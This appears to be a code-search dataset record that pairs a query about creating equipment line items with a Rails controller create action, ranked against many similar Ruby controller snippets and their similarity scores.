"def destroy\n @equipment_line_item.destroy\n respond_to do |format|\n format.html { redirect_to equipment_line_items_url }\n format.json { head :no_content }\n end\n end",
"def show\n #@product_impact_line_items = @product.product_impact_line_items.includes(:impact_line_item, :impact_entries)\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @product }\n end\n end",
"def show\n render json: @order_line_item\n end",
"def update\n respond_to do |format|\n if @equipment_line_item.update(equipment_line_item_params)\n format.html { redirect_to @equipment_line_item, notice: 'Equipment line item was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @equipment_line_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def line_item_params\n params[:line_item]\n end",
"def show\n @line_item_products = LineItemProduct.all\n end",
"def index\n @lineitems = Lineitem.all\n end",
"def get_item( item )\n @session.base_url = \"http://cl.ly\"\n resp = @session.get( \"/\" + item )\n \n raise ItemNotFound if resp.status == 404\n Crack::JSON.parse(resp.body)\n end",
"def show\n begin\n @line_item = LineItem.find(params[:id])\n rescue ActiveRecord::RecordNotFound\n @msg = \"Attempt to access invalid lineItem #{params[:id]}\"\n logger.error @msg\n Norifier.send_error_to_admin(@msg).deliver\n redirect_to store_url, :notice => 'Invalid lineItem'\n else\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @line_item }\n end\n end\n end",
"def set_line_item\n @line_items = LineItem.find(params[:id])\n end",
"def index #index defines line_items then query all the line items then pass it to it\n @line_items = LineItem.all\n end",
"def new\n @purchase_order_item_line = PurchaseOrderItemLine.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @purchase_order_item_line }\n end\n end",
"def index\n @invoice_line_items = current_brand.invoice_line_items.all\n puts @invoice_line_items.as_json\n @invoice_line_item = InvoiceLineItem.new\n end",
"def set_line_item\n @line_item = LineItem.find(params[:id])\nend",
"def line_items(id = nil, opts = {})\n load_resource(LineItem, id, opts)\n end",
"def show\n @line_item = current_member.seller.line_items.find(params[:id])\n \n respond_to do |format|\n format.html # show.rhtml\n format.xml { render :xml => @line_item.to_xml }\n end\n end",
"def show\n respond_to do |format|\n format.html\n format.json { render json: @person_equipment }\n end\n end",
"def set_line_item\n @line_item = LineItem.find(params[:id])\n end",
"def set_line_item\n @line_item = LineItem.find(params[:id])\n end",
"def set_line_item\n @line_item = LineItem.find(params[:id])\n end",
"def set_line_item\n @line_item = LineItem.find(params[:id])\n end",
"def set_line_item\n @line_item = LineItem.find(params[:id])\n end",
"def set_line_item\n @line_item = LineItem.find(params[:id])\n end",
"def set_line_item\n @line_item = LineItem.find(params[:id])\n end",
"def set_line_item\n @line_item = LineItem.find(params[:id])\n end",
"def show\n @inventoryitem = Inventoryitem.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @inventoryitem }\n end\n end",
"def show\n @recipe = Recipe.find(params[:id])\n @nutrition_info = NutritionInfo.where( \"recipe_id = ?\", @recipe.id ).first\n @inventory_items = []\n @recipe.inventory_items.each do |inventory_item|\n @inventory_items << inventory_item\n end\n\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @recipe }\n end\n end",
"def set_line_item\n @line_item = LineItem.find_by(params[:id])\n end",
"def create\n @item_line = ItemLine.new(params[:item_line])\n\n respond_to do |format|\n if @item_line.save\n format.html { redirect_to @item_line, notice: 'Item line was successfully created.' }\n format.json { render json: @item_line, status: :created, location: @item_line }\n else\n format.html { render action: \"new\" }\n format.json { render json: @item_line.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n @order_line_items = @order.order_line_items\n\n render json: @order_line_items\n end",
"def line_item(item)\n {\n Name: item.product.name,\n Number: item.variant.sku,\n Quantity: item.quantity,\n Amount: {\n currencyID: item.order.currency,\n value: item.price\n },\n ItemCategory: 'Physical'\n }\n end",
"def show\n @line = Line.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @line }\n end\n end",
"def items\n \tbegin\n \t@categories = Category.all.includes(items: [:dimensions])\n \t@ingredients = Ingredient.actives\n \trender 'api/v1/home/items', status: :ok\n \trescue Exception => e\n \t\terror_handling_bad_request(e)\n \tend\n\n\tend",
"def column\n @equipment = Equipment.pluck(request.params[:column])\n\n respond_to do |format|\n format.json { render json: @equipment }\n end\n end",
"def show\n @purchase_return_line_item = PurchaseReturnLineItem.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @purchase_return_line_item }\n end\n end"
] |
[
"0.71892077",
"0.70756924",
"0.6912507",
"0.6869938",
"0.6869938",
"0.6869938",
"0.6869938",
"0.6869938",
"0.6869938",
"0.6869938",
"0.68697894",
"0.6834366",
"0.68304515",
"0.68218595",
"0.67362297",
"0.6667466",
"0.64395887",
"0.6328225",
"0.628078",
"0.62707734",
"0.6261771",
"0.6234914",
"0.62022984",
"0.62022984",
"0.62022984",
"0.62022984",
"0.6178661",
"0.6172611",
"0.6119294",
"0.60970104",
"0.6095966",
"0.6095966",
"0.6095966",
"0.6095966",
"0.6095966",
"0.6095966",
"0.6095966",
"0.6095966",
"0.6095966",
"0.6095966",
"0.609341",
"0.609341",
"0.609341",
"0.609341",
"0.609341",
"0.609341",
"0.609341",
"0.609341",
"0.609341",
"0.609341",
"0.609341",
"0.6092963",
"0.608429",
"0.6083314",
"0.6070554",
"0.6067805",
"0.6067805",
"0.6067805",
"0.6065778",
"0.6045453",
"0.6013426",
"0.59988487",
"0.59978735",
"0.5989611",
"0.5989611",
"0.59697974",
"0.59652036",
"0.5958304",
"0.59574986",
"0.5956008",
"0.59409195",
"0.591376",
"0.5902733",
"0.5890868",
"0.58747995",
"0.58646846",
"0.5861745",
"0.5861493",
"0.583946",
"0.5813048",
"0.57951885",
"0.5776163",
"0.57738537",
"0.5770262",
"0.5770262",
"0.5770262",
"0.5770262",
"0.5770262",
"0.5770262",
"0.5770262",
"0.5770262",
"0.57657045",
"0.575611",
"0.5738196",
"0.57264006",
"0.57044715",
"0.56782",
"0.5675271",
"0.56622434",
"0.5657569",
"0.56573117"
] |
0.0
|
-1
|
POST /equipment_line_items POST /equipment_line_items.json
|
def create
@equipment_move_buffer = current_equipment_buffer
equipment = Equipment.find(params[:equipment_id])
@equipment_line_item = @equipment_move_buffer.equipment_line_items.build(equipment_id: equipment.id)
respond_to do |format|
if @equipment_line_item.save
format.html { redirect_to @equipment_line_item.equipment_move_buffer, notice: 'Equipment line item was successfully created.' }
format.json { render action: 'show', status: :created, location: @equipment_line_item }
else
format.html { render action: 'new' }
format.json { render json: @equipment_line_item.errors, status: :unprocessable_entity }
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def equipment_line_item_params\n params.require(:equipment_line_item).permit(:equipment_id, :equipment_move_buffer_id)\n end",
"def create\n @line_item = @order.line_items.new(line_item_params)\n\n if @line_item.save\n render json: @line_item, status: :created, location: [@order, @line_item]\n else\n render json: @line_item.errors, status: :unprocessable_entity\n end\n end",
"def create \n @line_item = LineItem.new(line_item_params)\n respond_to do |format|\n if @line_item.save\n format.html { redirect_to '/line_items', notice: \"Line item was successfully created.\" }\n format.json { render :show, status: :created, location: @line_item }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @line_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @item_line = ItemLine.new(params[:item_line])\n\n respond_to do |format|\n if @item_line.save\n format.html { redirect_to @item_line, notice: 'Item line was successfully created.' }\n format.json { render json: @item_line, status: :created, location: @item_line }\n else\n format.html { render action: \"new\" }\n format.json { render json: @item_line.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_equipment_line_item\n @equipment_line_item = EquipmentLineItem.find(params[:id])\n end",
"def create\n @line_item = LineItem.new(params[:line_item])\n\n respond_to do |format|\n if @line_item.save\n format.html { redirect_to @line_item, notice: 'Line item was successfully created.' }\n format.json { render json: @line_item, status: :created, location: @line_item }\n else\n format.html { render action: \"new\" }\n format.json { render json: @line_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def line_item_params\n params.require(:line_item).permit(:product_id, :accessory_id)\n end",
"def create\n parent_line_item = get_parent_line_item\n if parent_line_item\n @line_item = parent_line_item.dup\n @line_item.line_item = parent_line_item\n @line_item.searchable = false\n @line_item.admin_verified = false\n @line_item.section_id = line_item_params[\"section_id\"]\n else\n @line_item = LineItem.new(line_item_params);\n end\n\n if @line_item.save\n render json: @line_item, status: :created, location: @line_item\n else\n render nothing: true, status: :bad_request\n end\n end",
"def line_item_params\n params.permit(line_item: [:item_id, :quantity])\n end",
"def line_item_params\n params.require(:line_item).permit(:product_id, :inquirylist_id, :quantity)\n end",
"def line_item_params\n params.require(:line_item).permit(:quantity, :product_id, :order_id)\n end",
"def line_item_params\n params.require(:line_item).permit(:meal_id, :cart_id, :plate_qty)\n end",
"def line_item_params\n params.require(:line_item).permit(:product_id, :quantity, :order_id)\n end",
"def add_item\n item = params[:item]\n image = Image.find(item[:image_id])\n\n order = current_user.init_cart.order\n line_item = order.line_items.where(\n image_id: image.id,\n product_id: item[:product_id],\n product_option_id: item[:product_option_id]\n ).first\n\n if line_item.present?\n line_item.quantity += item[:quantity].to_i\n else\n line_item = order.line_items.build(item)\n end\n\n line_item.price = Product.find(line_item.product_id).price_for_tier(image.tier_id, image.owner?(current_user))\n line_item.tax = line_item.price * PER_TAX\n\n if line_item.save\n render json: line_item, status: :created\n else\n render json: { msg: line_item.errors.full_messages.to_sentence }, status: :bad_request\n end\n end",
"def line_item_params\n params.require(:line_item).permit(:quantity, :net_price, :product_id)\n end",
"def lineitem_params\n params.require(:lineitem).permit(:line_part, :line_order, :line_name, :line_price, :line_notes)\n end",
"def lineitem_params\n params.require(:lineitem).permit(:product_id, :ticket_id, :quantity, :totalsale, :_destroy)\n end",
"def add_line_item(params)\r\n # Creates line items counter necessary for prefix.\r\n @LINE_ITEMS = 0 if !@LINE_ITEMS \r\n @LINE_ITEMS += 1 # VALUE REQUIRED IN:\r\n prefix = \"LV3_ITEM#{@LINE_ITEMS}_\" # USA | CANADA\r\n @PARAM_HASH[prefix + 'UNIT_COST'] = params[:unit_cost] # * *\r\n @PARAM_HASH[prefix + 'QUANTITY'] = params[:quantity] # * *\r\n @PARAM_HASH[prefix + 'ITEM_SKU'] = params[:item_sku] || '' # *\r\n @PARAM_HASH[prefix + 'ITEM_DESCRIPTOR'] = params[:descriptor] || '' # * *\r\n @PARAM_HASH[prefix + 'COMMODITY_CODE'] = params[:commodity_code] || '' # * *\r\n @PARAM_HASH[prefix + 'PRODUCT_CODE'] = params[:product_code] || '' # * \r\n @PARAM_HASH[prefix + 'MEASURE_UNITS'] = params[:measure_units] || '' # * *\r\n @PARAM_HASH[prefix + 'ITEM_DISCOUNT'] = params[:item_discount] || '' # *\r\n @PARAM_HASH[prefix + 'TAX_RATE'] = params[:tax_rate] || '' # * \r\n @PARAM_HASH[prefix + 'GOODS_TAX_RATE'] = params[:goods_tax_rate] || '' # *\r\n @PARAM_HASH[prefix + 'TAX_AMOUNT'] = params[:tax_amount] || '' # * \r\n @PARAM_HASH[prefix + 'GOODS_TAX_AMOUNT'] = params[:goods_tax_amount] || '' # *\r\n @PARAM_HASH[prefix + 'CITY_TAX_RATE'] = params[:city_tax_rate] || '' #\r\n @PARAM_HASH[prefix + 'CITY_TAX_AMOUNT'] = params[:city_tax_amount] || '' #\r\n @PARAM_HASH[prefix + 'COUNTY_TAX_RATE'] = params[:county_tax_rate] || '' #\r\n @PARAM_HASH[prefix + 'COUNTY_TAX_AMOUNT'] = params[:county_tax_amount] || '' #\r\n @PARAM_HASH[prefix + 'STATE_TAX_RATE'] = params[:state_tax_rate] || '' #\r\n @PARAM_HASH[prefix + 'STATE_TAX_AMOUNT'] = params[:state_tax_amount] || '' #\r\n @PARAM_HASH[prefix + 'CUST_SKU'] = params[:cust_sku] || '' #\r\n @PARAM_HASH[prefix + 'CUST_PO'] = params[:cust_po] || '' #\r\n @PARAM_HASH[prefix + 'SUPPLEMENTAL_DATA'] = params[:supplemental_data] || '' #\r\n @PARAM_HASH[prefix + 'GL_ACCOUNT_NUMBER'] = params[:gl_account_number] || '' #\r\n @PARAM_HASH[prefix + 'DIVISION_NUMBER'] = params[:division_number] || '' #\r\n @PARAM_HASH[prefix + 'PO_LINE_NUMBER'] = params[:po_line_number] || '' #\r\n @PARAM_HASH[prefix + 'LINE_ITEM_TOTAL'] = params[:line_item_total] || '' # * \r\n end",
"def line_item_params\n params.require(:line_item).permit(:product_id)\n end",
"def line_item_params\n params.require(:line_item).permit(:product_id)\n end",
"def create\n @purchase_order_item_line = PurchaseOrderItemLine.new(params[:purchase_order_item_line])\n\n respond_to do |format|\n if @purchase_order_item_line.save\n format.html { redirect_to @purchase_order_item_line, notice: 'Purchase order item line was successfully created.' }\n format.json { render json: @purchase_order_item_line, status: :created, location: @purchase_order_item_line }\n else\n format.html { render action: \"new\" }\n format.json { render json: @purchase_order_item_line.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create_line_item\n\t\tset_sale\n\t\tpopulate_products\n\n\t\texisting_line_item = Item.where('product_id = ? AND sale_id = ?', params[:product_id], @sale.id).first\n\n\t\tif existing_line_item.blank?\n\t\t\tline_item = Item.new(product_id: params[:product_id], sale_id: params[:sale_id], quantity: params[:quantity])\n\t\t\tline_item.price = line_item.product.price\n\t\t\tline_item.save\n\n\t\t\tremove_item_from_stock(params[:product_id])\n\t\t\tupdate_line_item_totals(line_item)\n\t\telse\n\t\t\texisting_line_item.quantity += 1\n\t\t\texisting_line_item.save\n\n\t\t\tremove_item_from_stock(params[:product_id])\n\t\t\tupdate_line_item_totals(existing_line_item)\n\t\tend\n\n\t\tupdate_totals\n\n\t\trespond_to do |format|\n\t\t\tformat.js { ajax_refresh }\n\t\tend\n\tend",
"def create_line_item_from_inventory_item inventory_item, qty, payable_party, billable_party, include_price_in_expense, include_price_in_revenue, notes\n\n [\n # Vendor\n LineItem.create(\n :line_item_type => \"Goods\", :line_item_sub_type => \"Menu-Item\",\n :sku => inventory_item.sku, :name => inventory_item.name_vendor, :quantity => qty,\n :unit_price_expense => inventory_item.cogs,\n :tax_rate_expense => 0,\n :payable_party => payable_party,\n :include_price_in_expense => include_price_in_expense,\n :inventory_item => inventory_item, :notes => notes),\n\n # Account\n LineItem.create(\n :line_item_type => \"Goods\", :line_item_sub_type => \"Menu-Item\",\n :sku => inventory_item.sku, :name => inventory_item.name_public, :quantity => qty,\n :unit_price_revenue => calculate_sell_price_from_inventory_item(inventory_item),\n :billable_party => billable_party,\n :include_price_in_revenue => include_price_in_revenue,\n :inventory_item => inventory_item, :notes => notes)\n ]\n end",
"def create\n respond_to do |format|\n @lineitem = Lineitem.create!(lineitem_params)\n @participants = Participant.all\n\t @users = User.all\n if @lineitem.save\n format.html { redirect_to @lineitem, notice: 'Lineitem was successfully created.' }\n format.json { render action: 'show', status: :created, location: @lineitem }\n else\n format.html { render action: 'new' }\n format.json { render json: @lineitem.errors, status: :unprocessable_entity }\n end\n end\n end",
"def line_item_params\n params[:line_item]\n end",
"def index\n @equipment_line_items = EquipmentLineItem.all\n end",
"def line_item_params\n params.require(:line_item).permit(:bow_id, :crossbow_id, :cart_id)\n end",
"def line_item_params\n params.require(:line_item).permit(:product_id)\n end",
"def line_item_params\n params.require(:line_item).permit(:id, :product_id, :cart_id)\n end",
"def line_item_params\n params.require(:line_item).permit(:cart_id, :product_id, :quantity)\n end",
"def line_item_params\n params.require(:line_item).permit(:price_id, :quantity, :insured, :payment_method)\n end",
"def create\n @line_property_item = LinePropertyItem.new(line_property_item_params)\n\n respond_to do |format|\n if @line_property_item.save\n format.html { redirect_to @line_property_item, notice: 'Line property item was successfully created.' }\n format.json { render :show, status: :created, location: @line_property_item }\n else\n format.html { render :new }\n format.json { render json: @line_property_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def line_item_params\n params.require(:line_item).permit(:cart_id, :item_id, :quantity)\n end",
"def create\n @order = Order.new(:customer_id => order_params[:customer_id])\n\n order_params[:line_items].each do |item|\n if !item.empty?\n @order.line_items.new(:product_id => item, :order_id => @order.id)\n @order.update(cost: @order.cost + @order.line_items[0].product.price)\n end\n end\n\n respond_to do |format|\n if @order.save\n format.html { redirect_to @order, notice: 'Order was successfully created.' }\n format.json { render :show, status: :created, location: @order }\n else\n format.html { render :new }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def line_item_params\n params.require(:line_item).permit(:product_id, :cart_id, :quantity)\n end",
"def create\n #raise params.to_yaml\n @line_item = @line_items.build(params[:line_item])\n option_selection = params[:line_item].delete(:option_selections_attributes)\n\n respond_to do |format|\n if @line_item.save\n @line_item.update_options(option_selection) #if option_selection.present?\n format.html { redirect_to @cart.shop, notice: t(\"line_items.create.notice_success\") }\n else\n format.html { render action: \"new\" }\n end\n end\n end",
"def line_item_params\n params.require(:line_item).permit(:item_id, :shopping_cart_id, :quantity_purchased, :cost, :seller_id)\n end",
"def create\n @invoice_line_item = InvoiceLineItem.new(params.require(:invoice_line_item).permit(:amount, :description, :invoice_id, :line_item_purpose_id, :service_visit_id, :vehicle_id))\n\n respond_to do |format|\n if @invoice_line_item.save\n format.html { redirect_to invoice_line_items_url,\n notice: 'InvoiceLineItem was successfully created.' }\n format.json { render json: @invoice_line_item, status: :created, location: @invoice_line_item }\n else\n prepFormVariables\n format.html { render action: \"new\" }\n format.json { render json: @invoice_line_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create \n @product = Product.find_by_title(params[:product]) \n @line_item = LineItem.new(params[:line_item])\n @line_item.product_id = @product.id\n @line_items= LineItem.where(:demand_id => @line_item.demand_id, :product_id => @line_item.product_id)\n \n @quantity = @line_item.quantity\n \n if @line_items != nil\n @line_items.each do |item|\n @quantity += item.quantity\n LineItem.find(item.id).destroy\n end\n @line_item.update_attributes(:quantity => @quantity)\n end\n \n respond_to do |format|\n if @line_item.save\n format.js\n else\n format.html { render action: \"new\" }\n format.json { render json: @line_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\r\n @lineitem = Lineitem.new(params[:lineitem])\r\n\r\n respond_to do |format|\r\n if @lineitem.save\r\n flash[:notice] = 'Lineitem was successfully created.'\r\n format.html { redirect_to(@lineitem) }\r\n format.xml { render :xml => @lineitem, :status => :created, :location => @lineitem }\r\n else\r\n format.html { render :action => \"new\" }\r\n format.xml { render :xml => @lineitem.errors, :status => :unprocessable_entity }\r\n end\r\n end\r\n end",
"def create_line_item_from_inventory_item inventory_item, qty, payable_party, billable_party, include_price_in_expense, include_price_in_revenue, notes\n # Vendor\n l1 = LineItem.create!(\n :line_item_type => \"Goods\", :line_item_sub_type => \"Menu-Item\",\n :sku => inventory_item.sku, :name => inventory_item.name_vendor, :quantity => qty,\n :unit_price_expense => inventory_item.cogs,\n :tax_rate_expense => 0,\n :payable_party => payable_party,\n :include_price_in_expense => include_price_in_expense,\n :inventory_item => inventory_item, :notes => notes, :event => self)\n\n # Account\n l2 = LineItem.create!(\n :line_item_type => \"Goods\", :line_item_sub_type => \"Menu-Item\",\n :sku => inventory_item.sku, :name => inventory_item.name_public, :quantity => qty,\n :unit_price_revenue => calculate_sell_price_from_inventory_item(inventory_item),\n :billable_party => billable_party,\n :include_price_in_revenue => include_price_in_revenue,\n :inventory_item => inventory_item, :notes => notes, :event => self)\n\n l1.opposing_line_item = l2\n l2.opposing_line_item = l1\n l1.save\n l2.save\n\n [l1, l2]\n end",
"def line_item_params\n params.require(:line_item).permit(:product_id, :cart_id, :quantity, :title, :price)\n end",
"def line_item_params\n params.require(:line_item).permit(:product_id, :cart_id)\n end",
"def line_item_params\n params.require(:line_item).permit(:product_id, :cart_id)\n end",
"def line_item_params\n params.require(:line_item).permit(:product_id, :cart_id, :quantity, :unit_price, :total_price)\n end",
"def create\n product = Product.find(params['product_id'])\n @line_item = @cart.line_items.build(product: product)\n\n respond_to do |format|\n if @line_item.save\n format.html { redirect_to @line_item.cart, notice: 'Line item was successfully created.' }\n format.json { render :show, status: :created, location: @line_item }\n else\n format.html { render :new }\n format.json { render json: @line_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create_line_item_from_inventory_item_id inventory_item_id, qty, include_price_in_expense, include_price_in_revenue, notes\n # Inventory item\n inventory_item = InventoryItem.find(inventory_item_id)\n line_items.push(create_line_item_from_inventory_item(\n inventory_item, qty,\n inventory_item.vendor, account,\n include_price_in_expense, include_price_in_revenue, notes))\n end",
"def create\n @equipment = Equipment.new(equipment_params)\n\n respond_to do |format|\n if @equipment.save\n format.html {\n if @equipment.is_kit?\n redirect_to new_equipment_sub_item_path(@equipment), notice: 'Please enter the items that make up this kit'\n else\n redirect_to @equipment, notice: 'Equipment was successfully created.'\n end\n }\n format.json { render :show, status: :created, location: @equipment }\n else\n format.html { render :new }\n format.json { render json: @equipment.errors, status: :unprocessable_entity }\n end\n end\n end",
"def add_item(item_id)\n self.add_or_create_line_item(item_id)\n end",
"def liner_item_params\n params.require(:liner_item).permit(:product_id)\n end",
"def line_item_params\n params.require(:line_item).permit(:instrument_id, :cart_id)\n end",
"def create\n @sub1_line_item = Sub1LineItem.new(sub1_line_item_params)\n\n respond_to do |format|\n if @sub1_line_item.save\n format.html { redirect_to @sub1_line_item, notice: 'Sub1 line item was successfully created.' }\n format.json { render :show, status: :created, location: @sub1_line_item }\n else\n format.html { render :new }\n format.json { render json: @sub1_line_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_line_item\n @line_items = LineItem.find(params[:id])\n end",
"def line_item_params\n params.require(:line_item).permit(:cart_id, :product_id, :quantity)\nend",
"def line_item_params\n params.require(:line_item).permit(:product_id, :cart_id)\n end",
"def line_item_params\n params.require(:line_item).permit(:adjustments, :reviewed)\n end",
"def create\n @estimate_line_item = EstimateLineItem.new(params[:estimate_line_item])\n\n respond_to do |format|\n if @estimate_line_item.save\n format.html { redirect_to(@estimate_line_item, :notice => 'Estimate line item was successfully created.') }\n format.xml { render :xml => @estimate_line_item, :status => :created, :location => @estimate_line_item }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @estimate_line_item.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def new_line_items\n # called to render modal to mass create line items\n @protocol = Protocol.find(params[:protocol_id])\n @services = @protocol.organization.inclusive_child_services(:per_participant)\n @page_hash = params[:page_hash]\n @schedule_tab = params[:schedule_tab]\n @first_line_item = params[:first_line_item] || false\n end",
"def create_line_item_from_inventory_item_id inventory_item_id, qty, include_price_in_expense, include_price_in_revenue, notes\n # Inventory item\n inventory_item = InventoryItem.find(inventory_item_id)\n new_line_items = create_line_item_from_inventory_item(\n inventory_item, qty,\n inventory_item.vendor, account,\n include_price_in_expense, include_price_in_revenue, notes)\n line_items.push(new_line_items)\n new_line_items\n end",
"def new\n @item_line = ItemLine.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @item_line }\n end\n end",
"def create\n @line_item = LineItem.new(params[:line_item])\n @line_item.price = @line_item.catalog_item.unit_price\n \n respond_to do |format|\n if @line_item.save\n \n flash[:notice] = 'LineItem was successfully created.'\n format.html { redirect_to(@line_item) }\n format.xml { render :xml => @line_item, :status => :created, :location => @line_item }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @line_item.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @equipment_line_item.update(equipment_line_item_params)\n format.html { redirect_to @equipment_line_item, notice: 'Equipment line item was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @equipment_line_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @invoice_addon_line_item = InvoiceAddonLineItem.new(invoice_addon_line_item_params)\n\n respond_to do |format|\n if @invoice_addon_line_item.save\n format.html { redirect_to @invoice_addon_line_item.invoice, notice: 'Invoice addon line item was successfully created.' }\n format.json { render action: 'show', status: :created, location: @invoice_addon_line_item }\n else\n format.html { render action: 'new' }\n format.json { render json: @invoice_addon_line_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n\n lineItem_details = line_item_params\n item = Item.find_by(:id => lineItem_details['item_id'])\n\n \n if ( !session[:shopping_cart_id] || !ShoppingCart.find(session[:shopping_cart_id]).active )\n @shopping_cart = ShoppingCart.new(:user_id => @current_user.id, :active => true)\n @shopping_cart.save\n session[:shopping_cart_id] = @shopping_cart.id\n end\n\n @shopping_cart = ShoppingCart.find(session[:shopping_cart_id])\n lineItem_details[\"shopping_cart_id\"] = @shopping_cart.id\n lineItem_details[\"quantity_purchased\"] = params[:quantity]\n\n @line_item = LineItem.new lineItem_details\n\n # Update cart\n @cart = ShoppingCart.find(session[:shopping_cart_id])\n\n\n # @li = LineItem.find_by(:shopping_cart_id => session[:shopping_cart_id])\n \n # gon.address = []\n # gon.address << @li.item.user.address\n\n\n respond_to do |format|\n if @line_item.save\n format.html { redirect_to shopping_cart_path(session[:shopping_cart_id]), notice: 'Line item was successfully created.' }\n format.json { render :show, status: :created, location: @line_item }\n else\n format.html { render :new }\n format.json { render json: @line_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n item = Item.find(params[:item_id])\n @line_item = @cart.line_items.find_by(item: item)\n if @line_item\n @line_item.quantity += 1\n else\n @line_item = @cart.line_items.new(item: item)\n end\n\n respond_to do |format|\n if @line_item.save\n format.html { redirect_to @line_item.cart, notice: 'Line item was successfully created.' }\n format.json { render :show, status: :created, location: @line_item }\n else\n format.html { render :new }\n format.json { render json: @line_item.errors, status: :unprocessable_entity }\n end\n end\nend",
"def line_item_params\n\t\t\tparams.require(:line_item).permit(:product_id, :cart_id)\n\t\tend",
"def line_item_params\n params.require(:line_items).permit(:product,:references, :cart,:belongs_to)\n end",
"def new\n @line_item = LineItem.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @line_item }\n end\n end",
"def new\n @line_item = LineItem.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @line_item }\n end\n end",
"def new\n @line_item = LineItem.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @line_item }\n end\n end",
"def new\n @line_item = LineItem.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @line_item }\n end\n end",
"def new\n @line_item = LineItem.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @line_item }\n end\n end",
"def new\n @line_item = LineItem.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @line_item }\n end\n end",
"def new\n @line_item = LineItem.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @line_item }\n end\n end",
"def new\n @line_item = LineItem.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @line_item }\n end\n end",
"def new\n @line_item = LineItem.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @line_item }\n end\n end",
"def new\n @line_item = LineItem.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @line_item }\n end\n end",
"def create\n\t\t@product = Product.find(params[:product_id])\n\t\t@line_item = @cart.add_product(@product)\n\n\t\trespond_to do |format|\n\t\t\tif @line_item.update(line_item_params)\n\t\t\t\tformat.html { redirect_to @line_item, notice: 'Line item was successfully updated.' }\n\t\t\t\tformat.json { render :show, status: :ok, location: @line_item }\n\t\t\telse\n\t\t\t\tformat.html { render :edit }\n\t\t\t\tformat.json { render json: @line_item.errors, status: :unprocessable_entity }\n\t\t\tend\n\t\tend\n\tend",
"def create\n @match_form_lineitem = MatchFormLineitem.new(match_form_lineitem_params)\n\n respond_to do |format|\n if @match_form_lineitem.save\n format.html { redirect_to @match_form_lineitem, notice: 'Match form lineitem was successfully created.' }\n format.json { render :show, status: :created, location: @match_form_lineitem }\n else\n format.html { render :new }\n format.json { render json: @match_form_lineitem.errors, status: :unprocessable_entity }\n end\n end\n end",
"def line_item_params\n params.require(:line_item).permit(:product_id, :cart_id, product_attributes: [:title])\n end",
"def create\n @type = params[:type]\n item = params.require(:item)\n @mac = item.require(:machine)\n machine = Machine.check(@mac.permit(:mac))\n\n data = item.require(:data)\n @result = Array.new\n data.each do |d|\n @result << machine.slopes.create(d.permit(:x, :y, :z, :date, :beginning))\n end\n\n render :status => :created\n end",
"def set_line_item\n @line_item = LineItem.find(params[:id])\n end",
"def set_line_item\n @line_item = LineItem.find(params[:id])\n end",
"def set_line_item\n @line_item = LineItem.find(params[:id])\n end",
"def set_line_item\n @line_item = LineItem.find(params[:id])\n end",
"def set_line_item\n @line_item = LineItem.find(params[:id])\n end",
"def set_line_item\n @line_item = LineItem.find(params[:id])\n end",
"def set_line_item\n @line_item = LineItem.find(params[:id])\n end",
"def set_line_item\n @line_item = LineItem.find(params[:id])\n end",
"def line_item_params\n params.require(:line_item).permit(:book_id, :cart_id, :quantity)\n end",
"def set_line_item\n @line_item = LineItem.find(params[:id])\nend",
"def equipment_params\n params.require(:equipment).permit(\n :serial_number,\n :inspection_cycle_month,\n :inspection_contract,\n :start_date,\n :system_model_id,\n :place_id,\n :branch_id,\n :service_id\n )\n end",
